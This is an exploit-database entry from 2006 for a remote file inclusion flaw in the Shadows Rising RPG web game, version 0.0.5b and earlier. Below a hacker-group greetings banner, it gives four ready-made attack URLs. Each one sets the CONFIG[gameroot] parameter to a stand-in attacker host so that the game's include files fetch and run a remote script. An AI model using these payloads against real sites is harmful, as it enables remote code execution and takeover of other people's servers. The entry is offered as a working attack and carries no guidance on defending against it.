Shadows Rising RPG <= 0.0.5b Remote File Include Vulnerabilities

2006-08-20T00:00:00
ID 1337DAY-ID-727
Type zdt
Reporter Kacper
Modified 2006-08-20T00:00:00

Description

Exploit for unknown platform in category web applications

                                        
                                            ================================================================
Shadows Rising RPG <= 0.0.5b Remote File Include Vulnerabilities
================================================================




/*
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-   - - [DEVIL TEAM THE BEST POLISH TEAM] - -
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Shadows Rising RPG (Pre-Alpha) <= 0.0.5b (CONFIG[gameroot]) Remote File Include Vulnerability
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- [Script name: Shadows Rising RPG (Pre-Alpha) v. 0.0.5b
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-          Find by: Kacper (a.k.a Rahim)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
- Special Greetz: DragonHeart ;-)
- Ema: Leito, Adam, DeathSpeed, Drzewko, pepi
-
[email protected] Przyjazni nie da sie zamienic na marne korzysci @!
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+
-            Z Dedykacja dla osoby,
-         bez ktorej nie mogl bym zyc...
-           K.C:* J.M (a.k.a Magaja)
+
+~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
*/
/*

Shadows Rising RPG <- GAME OVER :D

*/
#Exploit:

http://www.site.com/[ShadowsRising_path]/core/includes/security.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[ShadowsRising_path]/core/includes/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[ShadowsRising_path]/qcms/includes/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt]
http://www.site.com/[ShadowsRising_path]/qlib/smarty.inc.php?CONFIG[gameroot]=[http://www.myevilsite.com/evil_scripts.txt]




#  0day.today [2018-01-01]  #